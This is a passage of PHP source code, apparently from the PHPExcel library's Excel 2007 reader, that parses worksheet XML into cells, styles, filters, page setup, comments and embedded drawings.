intval($xmlSheet->sheetViews->sheetView->pane['xSplit']); } if (isset($xmlSheet->sheetViews->sheetView->pane['ySplit'])) { $ySplit = 1 + intval($xmlSheet->sheetViews->sheetView->pane['ySplit']); } $docSheet->freezePaneByColumnAndRow($xSplit, $ySplit); } } if (isset($xmlSheet->sheetViews->sheetView->selection)) { if (isset($xmlSheet->sheetViews->sheetView->selection['sqref'])) { $sqref = (string)$xmlSheet->sheetViews->sheetView->selection['sqref']; $sqref = explode(' ', $sqref); $sqref = $sqref[0]; $docSheet->setSelectedCells($sqref); } } } if (isset($xmlSheet->sheetPr) && isset($xmlSheet->sheetPr->tabColor)) { if (isset($xmlSheet->sheetPr->tabColor['rgb'])) { $docSheet->getTabColor()->setARGB((string)$xmlSheet->sheetPr->tabColor['rgb']); } } if (isset($xmlSheet->sheetPr) && isset($xmlSheet->sheetPr['codeName'])) { $docSheet->setCodeName((string) $xmlSheet->sheetPr['codeName']); } if (isset($xmlSheet->sheetPr) && isset($xmlSheet->sheetPr->outlinePr)) { if (isset($xmlSheet->sheetPr->outlinePr['summaryRight']) && !self::boolean((string) $xmlSheet->sheetPr->outlinePr['summaryRight'])) { $docSheet->setShowSummaryRight(false); } else { $docSheet->setShowSummaryRight(true); } if (isset($xmlSheet->sheetPr->outlinePr['summaryBelow']) && !self::boolean((string) $xmlSheet->sheetPr->outlinePr['summaryBelow'])) { $docSheet->setShowSummaryBelow(false); } else { $docSheet->setShowSummaryBelow(true); } } if (isset($xmlSheet->sheetPr) && isset($xmlSheet->sheetPr->pageSetUpPr)) { if (isset($xmlSheet->sheetPr->pageSetUpPr['fitToPage']) && !self::boolean((string) $xmlSheet->sheetPr->pageSetUpPr['fitToPage'])) { $docSheet->getPageSetup()->setFitToPage(false); } else { $docSheet->getPageSetup()->setFitToPage(true); } } if (isset($xmlSheet->sheetFormatPr)) { if (isset($xmlSheet->sheetFormatPr['customHeight']) && self::boolean((string) $xmlSheet->sheetFormatPr['customHeight']) && isset($xmlSheet->sheetFormatPr['defaultRowHeight'])) { $docSheet->getDefaultRowDimension()->setRowHeight((float)$xmlSheet->sheetFormatPr['defaultRowHeight']); } if (isset($xmlSheet->sheetFormatPr['defaultColWidth'])) { $docSheet->getDefaultColumnDimension()->setWidth((float)$xmlSheet->sheetFormatPr['defaultColWidth']); } if (isset($xmlSheet->sheetFormatPr['zeroHeight']) && ((string)$xmlSheet->sheetFormatPr['zeroHeight'] == '1')) { $docSheet->getDefaultRowDimension()->setZeroHeight(true); } } if (isset($xmlSheet->cols) && !$this->readDataOnly) { foreach ($xmlSheet->cols->col as $col) { for ($i = intval($col["min"]) - 1; $i < intval($col["max"]); ++$i) { if ($col["style"] && !$this->readDataOnly) { $docSheet->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setXfIndex(intval($col["style"])); } if (self::boolean($col["bestFit"])) { //$docSheet->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true); } if (self::boolean($col["hidden"])) { // echo PHPExcel_Cell::stringFromColumnIndex($i), ': HIDDEN COLUMN',PHP_EOL; $docSheet->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setVisible(false); } if (self::boolean($col["collapsed"])) { $docSheet->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setCollapsed(true); } if ($col["outlineLevel"] > 0) { $docSheet->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setOutlineLevel(intval($col["outlineLevel"])); } $docSheet->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setWidth(floatval($col["width"])); if (intval($col["max"]) == 16384) { break; } } } } if (isset($xmlSheet->printOptions) && !$this->readDataOnly) { if (self::boolean((string) $xmlSheet->printOptions['gridLinesSet'])) { $docSheet->setShowGridlines(true); } if (self::boolean((string) $xmlSheet->printOptions['gridLines'])) { $docSheet->setPrintGridlines(true); } if (self::boolean((string) $xmlSheet->printOptions['horizontalCentered'])) { $docSheet->getPageSetup()->setHorizontalCentered(true); } if (self::boolean((string) $xmlSheet->printOptions['verticalCentered'])) { $docSheet->getPageSetup()->setVerticalCentered(true); } } if ($xmlSheet && $xmlSheet->sheetData && $xmlSheet->sheetData->row) { foreach ($xmlSheet->sheetData->row as $row) { if ($row["ht"] && !$this->readDataOnly) { $docSheet->getRowDimension(intval($row["r"]))->setRowHeight(floatval($row["ht"])); } if (self::boolean($row["hidden"]) && !$this->readDataOnly) { $docSheet->getRowDimension(intval($row["r"]))->setVisible(false); } if (self::boolean($row["collapsed"])) { $docSheet->getRowDimension(intval($row["r"]))->setCollapsed(true); } if ($row["outlineLevel"] > 0) { $docSheet->getRowDimension(intval($row["r"]))->setOutlineLevel(intval($row["outlineLevel"])); } if ($row["s"] && !$this->readDataOnly) { $docSheet->getRowDimension(intval($row["r"]))->setXfIndex(intval($row["s"])); } foreach ($row->c as $c) { $r = (string) $c["r"]; $cellDataType = (string) $c["t"]; $value = null; $calculatedValue = null; // Read cell? if ($this->getReadFilter() !== null) { $coordinates = PHPExcel_Cell::coordinateFromString($r); if (!$this->getReadFilter()->readCell($coordinates[0], $coordinates[1], $docSheet->getTitle())) { continue; } } // echo 'Reading cell ', $coordinates[0], $coordinates[1], PHP_EOL; // print_r($c); // echo PHP_EOL; // echo 'Cell Data Type is ', $cellDataType, ': '; // // Read cell! switch ($cellDataType) { case "s": // echo 'String', PHP_EOL; if ((string)$c->v != '') { $value = $sharedStrings[intval($c->v)]; if ($value instanceof PHPExcel_RichText) { $value = clone $value; } } else { $value = ''; } break; case "b": // echo 'Boolean', PHP_EOL; if (!isset($c->f)) { $value = self::castToBoolean($c); } else { // Formula $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, $sharedFormulas, 'castToBoolean'); if (isset($c->f['t'])) { $att = array(); $att = $c->f; $docSheet->getCell($r)->setFormulaAttributes($att); } // echo '$calculatedValue = ', $calculatedValue, PHP_EOL; } break; case "inlineStr": // echo 'Inline String', PHP_EOL; if (isset($c->f)) { $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, $sharedFormulas, 'castToError'); } else { $value = $this->parseRichText($c->is); } break; case "e": // echo 'Error', PHP_EOL; if (!isset($c->f)) { $value = self::castToError($c); } else { // Formula $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, $sharedFormulas, 'castToError'); // echo '$calculatedValue = ', $calculatedValue, PHP_EOL; } break; default: // echo 'Default', PHP_EOL; if (!isset($c->f)) { // echo 'Not a Formula', PHP_EOL; $value = self::castToString($c); } else { // echo 'Treat as Formula', PHP_EOL; // Formula $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, $sharedFormulas, 'castToString'); // echo '$calculatedValue = ', $calculatedValue, PHP_EOL; } break; } // echo 'Value is ', $value, PHP_EOL; // Check for numeric values if (is_numeric($value) && $cellDataType != 's') { if ($value == (int)$value) { $value = (int)$value; } elseif ($value == (float)$value) { $value = (float)$value; } elseif ($value == (double)$value) { $value = (double)$value; } } // Rich text? if ($value instanceof PHPExcel_RichText && $this->readDataOnly) { $value = $value->getPlainText(); } $cell = $docSheet->getCell($r); // Assign value if ($cellDataType != '') { $cell->setValueExplicit($value, $cellDataType); } else { $cell->setValue($value); } if ($calculatedValue !== null) { $cell->setCalculatedValue($calculatedValue); } // Style information? if ($c["s"] && !$this->readDataOnly) { // no style index means 0, it seems $cell->setXfIndex(isset($styles[intval($c["s"])]) ? intval($c["s"]) : 0); } } } } $conditionals = array(); if (!$this->readDataOnly && $xmlSheet && $xmlSheet->conditionalFormatting) { foreach ($xmlSheet->conditionalFormatting as $conditional) { foreach ($conditional->cfRule as $cfRule) { if (((string)$cfRule["type"] == PHPExcel_Style_Conditional::CONDITION_NONE || (string)$cfRule["type"] == PHPExcel_Style_Conditional::CONDITION_CELLIS || (string)$cfRule["type"] == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT || (string)$cfRule["type"] == PHPExcel_Style_Conditional::CONDITION_EXPRESSION) && isset($dxfs[intval($cfRule["dxfId"])])) { $conditionals[(string) $conditional["sqref"]][intval($cfRule["priority"])] = $cfRule; } } } foreach ($conditionals as $ref => $cfRules) { ksort($cfRules); $conditionalStyles = array(); foreach ($cfRules as $cfRule) { $objConditional = new PHPExcel_Style_Conditional(); $objConditional->setConditionType((string)$cfRule["type"]); $objConditional->setOperatorType((string)$cfRule["operator"]); if ((string)$cfRule["text"] != '') { $objConditional->setText((string)$cfRule["text"]); } if (count($cfRule->formula) > 1) { foreach ($cfRule->formula as $formula) { $objConditional->addCondition((string)$formula); } } else { $objConditional->addCondition((string)$cfRule->formula); } $objConditional->setStyle(clone $dxfs[intval($cfRule["dxfId"])]); $conditionalStyles[] = $objConditional; } // Extract all cell references in $ref $cellBlocks = explode(' ', str_replace('$', '', strtoupper($ref))); foreach ($cellBlocks as $cellBlock) { $docSheet->getStyle($cellBlock)->setConditionalStyles($conditionalStyles); } } } $aKeys = array("sheet", "objects", "scenarios", "formatCells", "formatColumns", "formatRows", "insertColumns", "insertRows", "insertHyperlinks", "deleteColumns", "deleteRows", "selectLockedCells", "sort", "autoFilter", "pivotTables", "selectUnlockedCells"); if (!$this->readDataOnly && $xmlSheet && $xmlSheet->sheetProtection) { foreach ($aKeys as $key) { $method = "set" . ucfirst($key); $docSheet->getProtection()->$method(self::boolean((string) $xmlSheet->sheetProtection[$key])); } } if (!$this->readDataOnly && $xmlSheet && $xmlSheet->sheetProtection) { $docSheet->getProtection()->setPassword((string) $xmlSheet->sheetProtection["password"], true); if ($xmlSheet->protectedRanges->protectedRange) { foreach ($xmlSheet->protectedRanges->protectedRange as $protectedRange) { $docSheet->protectCells((string) $protectedRange["sqref"], (string) $protectedRange["password"], true); } } } if ($xmlSheet && $xmlSheet->autoFilter && !$this->readDataOnly) { $autoFilterRange = (string) $xmlSheet->autoFilter["ref"]; if (strpos($autoFilterRange, ':') !== false) { $autoFilter = $docSheet->getAutoFilter(); $autoFilter->setRange($autoFilterRange); foreach ($xmlSheet->autoFilter->filterColumn as $filterColumn) { $column = $autoFilter->getColumnByOffset((integer) $filterColumn["colId"]); // Check for standard filters if ($filterColumn->filters) { $column->setFilterType(PHPExcel_Worksheet_AutoFilter_Column::AUTOFILTER_FILTERTYPE_FILTER); $filters = $filterColumn->filters; if ((isset($filters["blank"])) && ($filters["blank"] == 1)) { // Operator is undefined, but always treated as EQUAL $column->createRule()->setRule(null, '')->setRuleType(PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_FILTER); } // Standard filters are always an OR join, so no join rule needs to be set // Entries can be either filter elements foreach ($filters->filter as $filterRule) { // Operator is undefined, but always treated as EQUAL $column->createRule()->setRule(null, (string) $filterRule["val"])->setRuleType(PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_FILTER); } // Or Date Group elements foreach ($filters->dateGroupItem as $dateGroupItem) { $column->createRule()->setRule( // Operator is undefined, but always treated as EQUAL null, array( 'year' => (string) $dateGroupItem["year"], 'month' => (string) $dateGroupItem["month"], 'day' => (string) $dateGroupItem["day"], 'hour' => (string) $dateGroupItem["hour"], 'minute' => (string) $dateGroupItem["minute"], 'second' => (string) $dateGroupItem["second"], ), (string) $dateGroupItem["dateTimeGrouping"] ) ->setRuleType(PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_DATEGROUP); } } // Check for custom filters if ($filterColumn->customFilters) { $column->setFilterType(PHPExcel_Worksheet_AutoFilter_Column::AUTOFILTER_FILTERTYPE_CUSTOMFILTER); $customFilters = $filterColumn->customFilters; // Custom filters can an AND or an OR join; // and there should only ever be one or two entries if ((isset($customFilters["and"])) && ($customFilters["and"] == 1)) { $column->setJoin(PHPExcel_Worksheet_AutoFilter_Column::AUTOFILTER_COLUMN_JOIN_AND); } foreach ($customFilters->customFilter as $filterRule) { $column->createRule()->setRule( (string) $filterRule["operator"], (string) $filterRule["val"] ) ->setRuleType(PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_CUSTOMFILTER); } } // Check for dynamic filters if ($filterColumn->dynamicFilter) { $column->setFilterType(PHPExcel_Worksheet_AutoFilter_Column::AUTOFILTER_FILTERTYPE_DYNAMICFILTER); // We should only ever have one dynamic filter foreach ($filterColumn->dynamicFilter as $filterRule) { $column->createRule()->setRule( // Operator is undefined, but always treated as EQUAL null, (string) $filterRule["val"], (string) $filterRule["type"] ) ->setRuleType(PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_DYNAMICFILTER); if (isset($filterRule["val"])) { $column->setAttribute('val', (string) $filterRule["val"]); } if (isset($filterRule["maxVal"])) { $column->setAttribute('maxVal', (string) $filterRule["maxVal"]); } } } // Check for dynamic filters if ($filterColumn->top10) { $column->setFilterType(PHPExcel_Worksheet_AutoFilter_Column::AUTOFILTER_FILTERTYPE_TOPTENFILTER); // We should only ever have one top10 filter foreach ($filterColumn->top10 as $filterRule) { $column->createRule()->setRule( (((isset($filterRule["percent"])) && ($filterRule["percent"] == 1)) ? PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_PERCENT : PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_BY_VALUE ), (string) $filterRule["val"], (((isset($filterRule["top"])) && ($filterRule["top"] == 1)) ? PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_TOP : PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_BOTTOM ) ) ->setRuleType(PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_TOPTENFILTER); } } } } } if ($xmlSheet && $xmlSheet->mergeCells && $xmlSheet->mergeCells->mergeCell && !$this->readDataOnly) { foreach ($xmlSheet->mergeCells->mergeCell as $mergeCell) { $mergeRef = (string) $mergeCell["ref"]; if (strpos($mergeRef, ':') !== false) { $docSheet->mergeCells((string) $mergeCell["ref"]); } } } if ($xmlSheet && $xmlSheet->pageMargins && !$this->readDataOnly) { $docPageMargins = $docSheet->getPageMargins(); $docPageMargins->setLeft(floatval($xmlSheet->pageMargins["left"])); $docPageMargins->setRight(floatval($xmlSheet->pageMargins["right"])); $docPageMargins->setTop(floatval($xmlSheet->pageMargins["top"])); $docPageMargins->setBottom(floatval($xmlSheet->pageMargins["bottom"])); $docPageMargins->setHeader(floatval($xmlSheet->pageMargins["header"])); $docPageMargins->setFooter(floatval($xmlSheet->pageMargins["footer"])); } if ($xmlSheet && $xmlSheet->pageSetup && !$this->readDataOnly) { $docPageSetup = $docSheet->getPageSetup(); if (isset($xmlSheet->pageSetup["orientation"])) { $docPageSetup->setOrientation((string) $xmlSheet->pageSetup["orientation"]); } if (isset($xmlSheet->pageSetup["paperSize"])) { $docPageSetup->setPaperSize(intval($xmlSheet->pageSetup["paperSize"])); } if (isset($xmlSheet->pageSetup["scale"])) { $docPageSetup->setScale(intval($xmlSheet->pageSetup["scale"]), false); } if (isset($xmlSheet->pageSetup["fitToHeight"]) && intval($xmlSheet->pageSetup["fitToHeight"]) >= 0) { $docPageSetup->setFitToHeight(intval($xmlSheet->pageSetup["fitToHeight"]), false); } if (isset($xmlSheet->pageSetup["fitToWidth"]) && intval($xmlSheet->pageSetup["fitToWidth"]) >= 0) { $docPageSetup->setFitToWidth(intval($xmlSheet->pageSetup["fitToWidth"]), false); } if (isset($xmlSheet->pageSetup["firstPageNumber"]) && isset($xmlSheet->pageSetup["useFirstPageNumber"]) && self::boolean((string) $xmlSheet->pageSetup["useFirstPageNumber"])) { $docPageSetup->setFirstPageNumber(intval($xmlSheet->pageSetup["firstPageNumber"])); } } if ($xmlSheet && $xmlSheet->headerFooter && !$this->readDataOnly) { $docHeaderFooter = $docSheet->getHeaderFooter(); if (isset($xmlSheet->headerFooter["differentOddEven"]) && self::boolean((string)$xmlSheet->headerFooter["differentOddEven"])) { $docHeaderFooter->setDifferentOddEven(true); } else { $docHeaderFooter->setDifferentOddEven(false); } if (isset($xmlSheet->headerFooter["differentFirst"]) && self::boolean((string)$xmlSheet->headerFooter["differentFirst"])) { $docHeaderFooter->setDifferentFirst(true); } else { $docHeaderFooter->setDifferentFirst(false); } if (isset($xmlSheet->headerFooter["scaleWithDoc"]) && !self::boolean((string)$xmlSheet->headerFooter["scaleWithDoc"])) { $docHeaderFooter->setScaleWithDocument(false); } else { $docHeaderFooter->setScaleWithDocument(true); } if (isset($xmlSheet->headerFooter["alignWithMargins"]) && !self::boolean((string)$xmlSheet->headerFooter["alignWithMargins"])) { $docHeaderFooter->setAlignWithMargins(false); } else { $docHeaderFooter->setAlignWithMargins(true); } $docHeaderFooter->setOddHeader((string) $xmlSheet->headerFooter->oddHeader); $docHeaderFooter->setOddFooter((string) $xmlSheet->headerFooter->oddFooter); $docHeaderFooter->setEvenHeader((string) $xmlSheet->headerFooter->evenHeader); $docHeaderFooter->setEvenFooter((string) $xmlSheet->headerFooter->evenFooter); $docHeaderFooter->setFirstHeader((string) $xmlSheet->headerFooter->firstHeader); $docHeaderFooter->setFirstFooter((string) $xmlSheet->headerFooter->firstFooter); } if ($xmlSheet && $xmlSheet->rowBreaks && $xmlSheet->rowBreaks->brk && !$this->readDataOnly) { foreach ($xmlSheet->rowBreaks->brk as $brk) { if ($brk["man"]) { $docSheet->setBreak("A$brk[id]", PHPExcel_Worksheet::BREAK_ROW); } } } if ($xmlSheet && $xmlSheet->colBreaks && $xmlSheet->colBreaks->brk && !$this->readDataOnly) { foreach ($xmlSheet->colBreaks->brk as $brk) { if ($brk["man"]) { $docSheet->setBreak(PHPExcel_Cell::stringFromColumnIndex((string) $brk["id"]) . "1", PHPExcel_Worksheet::BREAK_COLUMN); } } } if ($xmlSheet && $xmlSheet->dataValidations && !$this->readDataOnly) { foreach ($xmlSheet->dataValidations->dataValidation as $dataValidation) { // Uppercase coordinate $range = strtoupper($dataValidation["sqref"]); $rangeSet = explode(' ', $range); foreach ($rangeSet as $range) { $stRange = $docSheet->shrinkRangeToFit($range); // Extract all cell references in $range foreach (PHPExcel_Cell::extractAllCellReferencesInRange($stRange) as $reference) { // Create validation $docValidation = $docSheet->getCell($reference)->getDataValidation(); $docValidation->setType((string) $dataValidation["type"]); $docValidation->setErrorStyle((string) $dataValidation["errorStyle"]); $docValidation->setOperator((string) $dataValidation["operator"]); $docValidation->setAllowBlank($dataValidation["allowBlank"] != 0); $docValidation->setShowDropDown($dataValidation["showDropDown"] == 0); $docValidation->setShowInputMessage($dataValidation["showInputMessage"] != 0); $docValidation->setShowErrorMessage($dataValidation["showErrorMessage"] != 0); $docValidation->setErrorTitle((string) $dataValidation["errorTitle"]); $docValidation->setError((string) $dataValidation["error"]); $docValidation->setPromptTitle((string) $dataValidation["promptTitle"]); $docValidation->setPrompt((string) $dataValidation["prompt"]); $docValidation->setFormula1((string) $dataValidation->formula1); $docValidation->setFormula2((string) $dataValidation->formula2); } } } } // Add hyperlinks $hyperlinks = array(); if (!$this->readDataOnly) { // Locate hyperlink relations if ($zip->locateName(dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")) { $relsWorksheet = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); foreach ($relsWorksheet->Relationship as $ele) { if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink") { $hyperlinks[(string)$ele["Id"]] = (string)$ele["Target"]; } } } // Loop through hyperlinks if ($xmlSheet && $xmlSheet->hyperlinks) { foreach ($xmlSheet->hyperlinks->hyperlink as $hyperlink) { // Link url $linkRel = $hyperlink->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'); foreach (PHPExcel_Cell::extractAllCellReferencesInRange($hyperlink['ref']) as $cellReference) { $cell = $docSheet->getCell($cellReference); if (isset($linkRel['id'])) { $hyperlinkUrl = $hyperlinks[ (string)$linkRel['id'] ]; if (isset($hyperlink['location'])) { $hyperlinkUrl .= '#' . (string) $hyperlink['location']; } $cell->getHyperlink()->setUrl($hyperlinkUrl); } elseif (isset($hyperlink['location'])) { $cell->getHyperlink()->setUrl('sheet://' . (string)$hyperlink['location']); } // Tooltip if (isset($hyperlink['tooltip'])) { $cell->getHyperlink()->setTooltip((string)$hyperlink['tooltip']); } } } } } // Add comments $comments = array(); $vmlComments = array(); if (!$this->readDataOnly) { // Locate comment relations if ($zip->locateName(dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")) { $relsWorksheet = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); foreach ($relsWorksheet->Relationship as $ele) { if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments") { $comments[(string)$ele["Id"]] = (string)$ele["Target"]; } if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing") { $vmlComments[(string)$ele["Id"]] = (string)$ele["Target"]; } } } // Loop through comments foreach ($comments as $relName => $relPath) { // Load comments file $relPath = PHPExcel_Shared_File::realpath(dirname("$dir/$fileWorksheet") . "/" . $relPath); $commentsFile = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, $relPath)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); // Utility variables $authors = array(); // Loop through authors foreach ($commentsFile->authors->author as $author) { $authors[] = (string)$author; } // Loop through contents foreach ($commentsFile->commentList->comment as $comment) { if (!empty($comment['authorId'])) { $docSheet->getComment((string)$comment['ref'])->setAuthor($authors[(string)$comment['authorId']]); } $docSheet->getComment((string)$comment['ref'])->setText($this->parseRichText($comment->text)); } } // Loop through VML comments foreach ($vmlComments as $relName => $relPath) { // Load VML comments file $relPath = PHPExcel_Shared_File::realpath(dirname("$dir/$fileWorksheet") . "/" . $relPath); $vmlCommentsFile = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, $relPath)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $vmlCommentsFile->registerXPathNamespace('v', 'urn:schemas-microsoft-com:vml'); $shapes = $vmlCommentsFile->xpath('//v:shape'); foreach ($shapes as $shape) { $shape->registerXPathNamespace('v', 'urn:schemas-microsoft-com:vml'); if (isset($shape['style'])) { $style = (string)$shape['style']; $fillColor = strtoupper(substr((string)$shape['fillcolor'], 1)); $column = null; $row = null; $clientData = $shape->xpath('.//x:ClientData'); if (is_array($clientData) && !empty($clientData)) { $clientData = $clientData[0]; if (isset($clientData['ObjectType']) && (string)$clientData['ObjectType'] == 'Note') { $temp = $clientData->xpath('.//x:Row'); if (is_array($temp)) { $row = $temp[0]; } $temp = $clientData->xpath('.//x:Column'); if (is_array($temp)) { $column = $temp[0]; } } } if (($column !== null) && ($row !== null)) { // Set comment properties $comment = $docSheet->getCommentByColumnAndRow((string) $column, $row + 1); $comment->getFillColor()->setRGB($fillColor); // Parse style $styleArray = explode(';', str_replace(' ', '', $style)); foreach ($styleArray as $stylePair) { $stylePair = explode(':', $stylePair); if ($stylePair[0] == 'margin-left') { $comment->setMarginLeft($stylePair[1]); } if ($stylePair[0] == 'margin-top') { $comment->setMarginTop($stylePair[1]); } if ($stylePair[0] == 'width') { $comment->setWidth($stylePair[1]); } if ($stylePair[0] == 'height') { $comment->setHeight($stylePair[1]); } if ($stylePair[0] == 'visibility') { $comment->setVisible($stylePair[1] == 'visible'); } } } } } } // Header/footer images if ($xmlSheet && $xmlSheet->legacyDrawingHF && !$this->readDataOnly) { if ($zip->locateName(dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")) { $relsWorksheet = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); $vmlRelationship = ''; foreach ($relsWorksheet->Relationship as $ele) { if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing") { $vmlRelationship = self::dirAdd("$dir/$fileWorksheet", $ele["Target"]); } } if ($vmlRelationship != '') { // Fetch linked images $relsVML = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, dirname($vmlRelationship) . '/_rels/' . basename($vmlRelationship) . '.rels')), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); $drawings = array(); foreach ($relsVML->Relationship as $ele) { if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/image") { $drawings[(string) $ele["Id"]] = self::dirAdd($vmlRelationship, $ele["Target"]); } } // Fetch VML document $vmlDrawing = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, $vmlRelationship)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $vmlDrawing->registerXPathNamespace('v', 'urn:schemas-microsoft-com:vml'); $hfImages = array(); $shapes = $vmlDrawing->xpath('//v:shape'); foreach ($shapes as $idx => $shape) { $shape->registerXPathNamespace('v', 'urn:schemas-microsoft-com:vml'); $imageData = $shape->xpath('//v:imagedata'); $imageData = $imageData[$idx]; $imageData = $imageData->attributes('urn:schemas-microsoft-com:office:office'); $style = self::toCSSArray((string)$shape['style']); $hfImages[ (string)$shape['id'] ] = new PHPExcel_Worksheet_HeaderFooterDrawing(); if (isset($imageData['title'])) { $hfImages[ (string)$shape['id'] ]->setName((string)$imageData['title']); } $hfImages[ (string)$shape['id'] ]->setPath("zip://".PHPExcel_Shared_File::realpath($pFilename)."#" . $drawings[(string)$imageData['relid']], false); $hfImages[ (string)$shape['id'] ]->setResizeProportional(false); $hfImages[ (string)$shape['id'] ]->setWidth($style['width']); $hfImages[ (string)$shape['id'] ]->setHeight($style['height']); if (isset($style['margin-left'])) { $hfImages[ (string)$shape['id'] ]->setOffsetX($style['margin-left']); } $hfImages[ (string)$shape['id'] ]->setOffsetY($style['margin-top']); $hfImages[ (string)$shape['id'] ]->setResizeProportional(true); } $docSheet->getHeaderFooter()->setImages($hfImages); } } } } // TODO: Autoshapes from twoCellAnchors! if ($zip->locateName(dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")) { $relsWorksheet = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, dirname("$dir/$fileWorksheet") . "/_rels/" . basename($fileWorksheet) . ".rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); $drawings = array(); foreach ($relsWorksheet->Relationship as $ele) { if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/drawing") { $drawings[(string) $ele["Id"]] = self::dirAdd("$dir/$fileWorksheet", $ele["Target"]); } } if ($xmlSheet->drawing && !$this->readDataOnly) { foreach ($xmlSheet->drawing as $drawing) { $fileDrawing = $drawings[(string) self::getArrayItem($drawing->attributes("http://schemas.openxmlformats.org/officeDocument/2006/relationships"), "id")]; $relsDrawing = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, dirname($fileDrawing) . "/_rels/" . basename($fileDrawing) . ".rels")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); //~ http://schemas.openxmlformats.org/package/2006/relationships"); $images = array(); if ($relsDrawing && $relsDrawing->Relationship) { foreach ($relsDrawing->Relationship as $ele) { if ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/image") { $images[(string) $ele["Id"]] = self::dirAdd($fileDrawing, $ele["Target"]); } elseif ($ele["Type"] == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/chart") { if ($this->includeCharts) { $charts[self::dirAdd($fileDrawing, $ele["Target"])] = array( 'id' => (string) $ele["Id"], 'sheet' => $docSheet->getTitle() ); } } } } $xmlDrawing = simplexml_load_string($this->securityScan($this->getFromZipArchive($zip, $fileDrawing)), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions())->children("http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"); if ($xmlDrawing->oneCellAnchor) { foreach ($xmlDrawing->oneCellAnchor as $oneCellAnchor) { if ($oneCellAnchor->pic->blipFill) { $blip = $oneCellAnchor->pic->blipFill->children("http://schemas.openxmlformats.org/drawingml/2006/main")->blip; $xfrm = $oneCellAnchor->pic->spPr->children("http://schemas.openxmlformats.org/drawingml/2006/main")->xfrm; $outerShdw = $oneCellAnchor->pic->spPr->children("http://schemas.openxmlformats.org/drawingml/2006/main")->effectLst->outerShdw; $objDrawing = new PHPExcel_Worksheet_Drawing; $objDrawing->setName((string) self::getArrayItem($oneCellAnchor->pic->nvPicPr->cNvPr->attributes(), "name")); $objDrawing->setDescription((string) self::getArrayItem($oneCellAnchor->pic->nvPicPr->cNvPr->attributes(), "descr")); $objDrawing->setPath("zip://".PHPExcel_Shared_File::realpath($pFilename)."#" . $images[(string) self::getArrayItem($blip->attributes("http://schemas.openxmlformats.org/officeDocument/2006/relationships"), "embed")], false); $objDrawing->setCoordinates(PHPExcel_Cell::stringFromColumnIndex((string) $oneCellAnchor->from->col) . ($oneCellAnchor->from->row + 1)); 